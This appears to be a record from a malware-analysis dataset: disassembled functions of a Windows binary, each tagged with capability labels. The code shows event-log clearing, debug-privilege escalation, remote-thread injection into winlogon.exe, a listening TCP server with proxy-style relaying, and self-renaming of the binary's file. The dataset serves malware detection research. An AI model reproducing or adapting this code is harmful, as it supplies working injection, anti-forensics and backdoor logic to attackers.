joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100068f7
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push esi
push edi
push str.strstr
push str.MSVCRT.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp + 8]
mov edi, eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x100069ef
mov eax, 0x104
xor esi, esi
mov dword [ebp - 8], eax
push eax
lea eax, [ebp - 0x160]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100069ef
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100069ef
lea eax, [ebp - 0x160]
push 0x1001d374
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
je 0x100069ef
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x100069d3
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
leave
ret

Function at 0x100069f5
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 3
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10006a39
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10006a19
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006b04
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10006b51
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x14]
push 2
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10006b51
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret
Function at 0x10006b54
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10006b9a
lea eax, [ebp + 0x14]
push 4
push eax
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10006b9a
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret

Function at 0x10007f40
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10007f61
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10007faa
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10007faa
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret
Function at 0x1000803e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
call fcn.10007f40
push dword [ebp + 8]
call fcn.1000f28e
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x10008074
xor al, al
jmp 0x10008209
push 0xf4
lea eax, [ebp - 0xf8]
push 0
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push str.advapi32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenSCManagerA
push ebx
call esi
push str.OpenServiceA
push ebx
mov dword [ebp - 0xf8], eax
call esi
push str.QueryServiceStatus
push ebx
mov dword [ebp - 0xf4], eax
call esi
push str.ControlService
push ebx
mov dword [ebp - 0xf0], eax
call esi
push str.StartServiceA
push ebx
mov dword [ebp - 0xec], eax
call esi
push str.DeleteService
push ebx
mov dword [ebp - 0xe8], eax
call esi
push str.CloseServiceHandle
push ebx
mov dword [ebp - 0xe4], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe0], eax
call ebx
push str.shlwapi.dll
call edi
push str.SHDeleteKeyA
push eax
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
mov dword [ebp - 0xdc], eax
call ebx
push str.kernel32.dll
call edi
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [ebp - 0xd4], eax
call esi
push edi
mov dword [ebp - 0xd8], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc]
push eax
call esi
lea eax, [ebp - 0x68]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, 0x1000
push 4
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, 0xf4
push esi
push 0
push dword [ebp + 8]
call edi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x1000806d
push 0
lea ecx, [ebp - 0xf8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x1000806d
push 0x40
push ebx
mov ebx, 0x2800
push ebx
push 0
push dword [ebp + 8]
call edi
mov edi, eax
test edi, edi
je 0x1000806d
push 0
push ebx
push 0x10007fb8
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x1000806d
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push edi
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000837e
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
push esi
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
mov esi, 0x1001e3c0
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [0x1001e6dc]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ebx, dword [ebp + 0x10]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
call fcn.10008284
pop ecx
test eax, eax
pop ecx
je 0x100084e0
mov edi, dword [ebp + 8]
cmp eax, 1
je 0x10008449
cmp eax, 2
je 0x10008449
cmp eax, 3
je 0x10008449
cmp eax, 4
jne 0x100084b0
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub ecx, eax
add eax, ebx
push ecx
push eax
call fcn.1000820e
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
push eax
lea eax, [edi + 4]
push eax
call fcn.10008858
add esp, 0x1c
test eax, eax
je 0x100084e0
mov esi, str.HTTP_1.0_200_OK_r_n_r_n
push 0
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x100084b0
push dword [ebp - 8]
mov esi, dword [ebp + 0x14]
push esi
push ebx
push dword [ebp + 0xc]
call fcn.10008304
add esp, 0x10
mov dword [ebp + 0x14], eax
test eax, eax
je 0x100084e0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
mov eax, dword [ebp - 8]
sub esi, eax
sub esi, 7
lea eax, [eax + ebx + 7]
push esi
push eax
call fcn.1000820e
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
lea esi, [edi + 4]
push eax
push esi
call fcn.10008858
add esp, 0x1c
test eax, eax
je 0x100084e0
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100084e0
xor esi, esi
cmp dword [edi], esi
je 0x100084e0
cmp dword [edi + 4], esi
je 0x100084e0
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push 0x1000913f
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x100084db
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
pop eax
jmp 0x100084e2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100084e7
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov byte [ebp - 2], 5
mov al, byte [esi]
cmp al, 5
je 0x1000850c
movzx eax, al
jmp 0x1000863f
mov al, byte [esi + 2]
test al, al
je 0x1000851b
cmp al, 2
jne 0x10008638
push 0x1001e3dc
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10008638
cmp byte [ebp - 1], 2
jne 0x1000863c
mov edi, 0x100
lea eax, [ebp - 0x104]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x204]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008638
test eax, eax
je 0x10008638
cmp byte [esi], 1
jne 0x10008638
mov al, byte [esi + 1]
test al, al
je 0x100085c8
movzx eax, al
cmp eax, edi
jg 0x100085c8
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x100085ef
cmp ecx, edi
jg 0x100085ef
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x204]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x1001e3dc
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10008622
lea eax, [ebp - 0x204]
push eax
push 0x1001e4dc
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10008622
and byte [esi + 1], al
jmp 0x10008626
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000863c
xor eax, eax
jmp 0x1000863f
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10008644
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x1001e3a8
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, dword [ebp + 8]
mov esi, eax
test esi, esi
je 0x100086a7
and dword [ebp + 8], 0
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 8]
xor edi, edi
cmp dword [eax + ecx], edi
je 0x100086a7
and byte [ebx], 0
cmp word [esi + 0xa], di
jle 0x100086a1
test edi, edi
jle 0x1000868c
push 0x1001d398
push ebx
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
inc edi
pop ecx
cmp edi, eax
pop ecx
jl 0x1000867b
add dword [ebp + 8], 4
jmp 0x10008665
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x100086ae
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100086bd
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret
Function at 0x10008858
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x100088a7
call fcn.100086ae
test eax, eax
pop ecx
je 0x100088fb
push edi
call fcn.100086ae
pop ecx
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100088fb
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10008901
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x100088fd

Function at 0x10008906
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push esi
push edi
call fcn.100084e7
add esp, 0xc
test eax, eax
je 0x10008997
cmp eax, 4
jne 0x10008944
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 2
push dword [ebp + 0x10]
push esi
call fcn.100086cb
add esp, 0x14
neg eax
sbb eax, eax
and eax, 4
jmp 0x10008999
push 0
push 0x5000
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008997
test eax, eax
je 0x10008997
cmp byte [esi], 5
jne 0x10008997
mov cl, byte [esi + 3]
cmp cl, 1
je 0x1000896f
cmp cl, 3
jne 0x10008997
push dword [ebp + 0x18]
movzx ecx, cl
push dword [ebp + 0x14]
push ecx
push eax
push esi
call fcn.100086cb
add esp, 0x14
test eax, eax
je 0x10008997
mov al, byte [esi + 1]
cmp al, 1
je 0x10008992
cmp al, 3
jne 0x10008997
movzx eax, al
jmp 0x10008999
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x1000899d
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x100089f1
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x100089f5
xor eax, eax
jmp 0x10008a2e
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10008644
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret

Function at 0x10008cd5
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
lea eax, [ebp - 0x1a4]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10008cfc
xor eax, eax
pop edi
pop ebx
leave
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008cf6
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x1001e3b8]
mov word [ebp - 0x10], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
xor edi, edi
push eax
push ebx
mov dword [ebp - 0xc], edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10008cf6
push esi
push 0x32
push ebx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10008d5b
xor eax, eax
pop esi
jmp 0x10008cf8
push edi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_accept]
push 8
mov esi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, edi
pop ecx
je 0x10008d5b
lea ecx, [ebp - 0x14]
mov dword [eax], esi
push ecx
push edi
push eax
push 0x10008a31
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jne 0x10008d99
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008d5b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10008d5b

Function at 0x10008ed8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x10008f0e
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10008f09
sub edi, eax
add esi, eax
jmp 0x10008ee2
or eax, 0xffffffff
jmp 0x10008f10
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x1000974a
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x10]
push eax
push 0x8004667e
push dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0x10], esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test edi, edi
jle 0x10009789
mov eax, dword [ebp + 0xc]
push 0
add eax, esi
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10009789
add esi, eax
sub edi, eax
jmp 0x10009769
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x1000978f
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x510c
call fcn.10016990
mov eax, dword [ebp + 8]
and byte [ebp - 0x510c], 0
push ebx
push esi
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push edi
mov dword [ebp - 4], eax
mov ecx, 0x13ff
xor eax, eax
lea edi, [ebp - 0x510b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [ebp - 4]
push 1
pop edx
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x10c], edx
xor ecx, ecx
lea eax, [ebp - 0x108]
cmp dword [eax], esi
je 0x100097ef
inc ecx
add eax, 4
cmp ecx, edx
jb 0x100097e3
cmp ecx, edx
jne 0x10009803
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x10c], 2
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x100098ae
lea eax, [ebp - 0x10c]
push eax
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10009862
push esi
lea eax, [ebp - 0x510c]
push 0x5000
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x100098ae
lea eax, [ebp - 0x510c]
push esi
push eax
push dword [ebp - 4]
call fcn.1000974a
add esp, 0xc
test eax, eax
je 0x100098ae
cmp eax, esi
jne 0x100098ae
xor esi, esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100097c9
push esi
lea eax, [ebp - 0x510c]
push 0x5000
push eax
push dword [ebp - 4]
call edi
mov esi, eax
test esi, esi
jle 0x100098ae
lea eax, [ebp - 0x510c]
push esi
push eax
push ebx
call fcn.1000974a
add esp, 0xc
test eax, eax
je 0x100098ae
cmp eax, esi
je 0x100097c9
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebx
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x100098c5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x10009911
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov word [ebp - 0x10], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10009915
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10009917
mov eax, esi
pop esi
leave
ret
Function at 0x10009931
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
add esp, 0x190
ret

Function at 0x100099cd
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1038
call fcn.10016990
or dword [ebp - 0x100c], 0xffffffff
push esi
push edi
xor esi, esi
push 0x1030
lea eax, [ebp - 0x1038]
push esi
push eax
mov dword [ebp - 0x1038], 0x10017564
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x1034]
push 0x1001d774
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
push dword [ebp + 0xc]
mov ax, word [ebp + 0x14]
mov word [ebp - 0x1014], ax
push dword [ebp + 8]
call fcn.1000991a
mov edi, eax
add esp, 0x24
cmp edi, esi
jbe 0x10009aac
mov dword [ebp - 0x1010], edi
push esi
lea eax, [ebp - 2]
push 2
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10009aac
inc dword [0x1001e6e4]
cmp dword [ebp - 0x100c], 0x800
jge 0x10009a79
inc dword [ebp - 0x100c]
mov ecx, dword [ebp - 0x100c]
mov ax, word [ebp - 2]
mov word [ebp + ecx*2 - 0x1008], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1038]
push esi
push eax
push 0x10009953
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x10009a9f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10009a3d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009a3d
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x1000a19c
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push esi
push edi
push str.CreateEventA
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov esi, 0x104
lea eax, [ebp - 0x310]
push esi
push eax
push dword [0x1001e7f8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x108]
push str._d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x20c]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [edi + 0x9e54], 0x120
lea eax, [edi + 0x10]
push eax
je 0x1000a267
push str.winlogon.exe
call fcn.1000803e
pop ecx
jmp 0x1000a26c
call fcn.10005b57
pop ecx
add edi, 0x110
push edi
push 0
push 1
push 0
call dword [ebp - 4]
pop edi
pop esi
leave
ret